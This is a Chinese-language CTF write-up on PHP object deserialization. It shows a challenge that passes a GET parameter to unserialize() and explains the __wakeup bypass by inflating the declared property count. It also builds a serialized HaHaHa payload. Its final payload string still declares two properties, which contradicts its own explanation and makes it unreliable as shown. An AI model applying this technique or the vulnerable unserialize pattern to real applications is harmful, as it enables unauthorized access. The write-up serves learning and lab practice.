进入靶机
打开之后出现一段代码
我们简单分析一下代码的意思
从这段代码中我们可以看出这是一段让我使用反序列化的一道ctf的题目。
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php"); //关闭错误信息然后显示class.php中的源代码
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){ //定义了一个类,公开了两个公开属性。
$this->admin ="user";
$this->passwd = "123456"; //在构造函数中初始化了两个属性
}
public function __wakeup(){
$this->passwd = sha1($this->passwd); //在反序列化时被调用,这段代码password属性的值转换为sha1的哈希值
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag; //当admin的值为admin时,password值为wllm时。会输出flag.php中的内容
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
简单来说就是要绕过_wakeup,当使用反序列化时会自动调用_wakeup函数。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
我们可以这样构造pyload
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
$a = new HaHaHa();
$a->admin = "admin";
$a->passwd = "wllm";
echo serialize($a);
?>
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}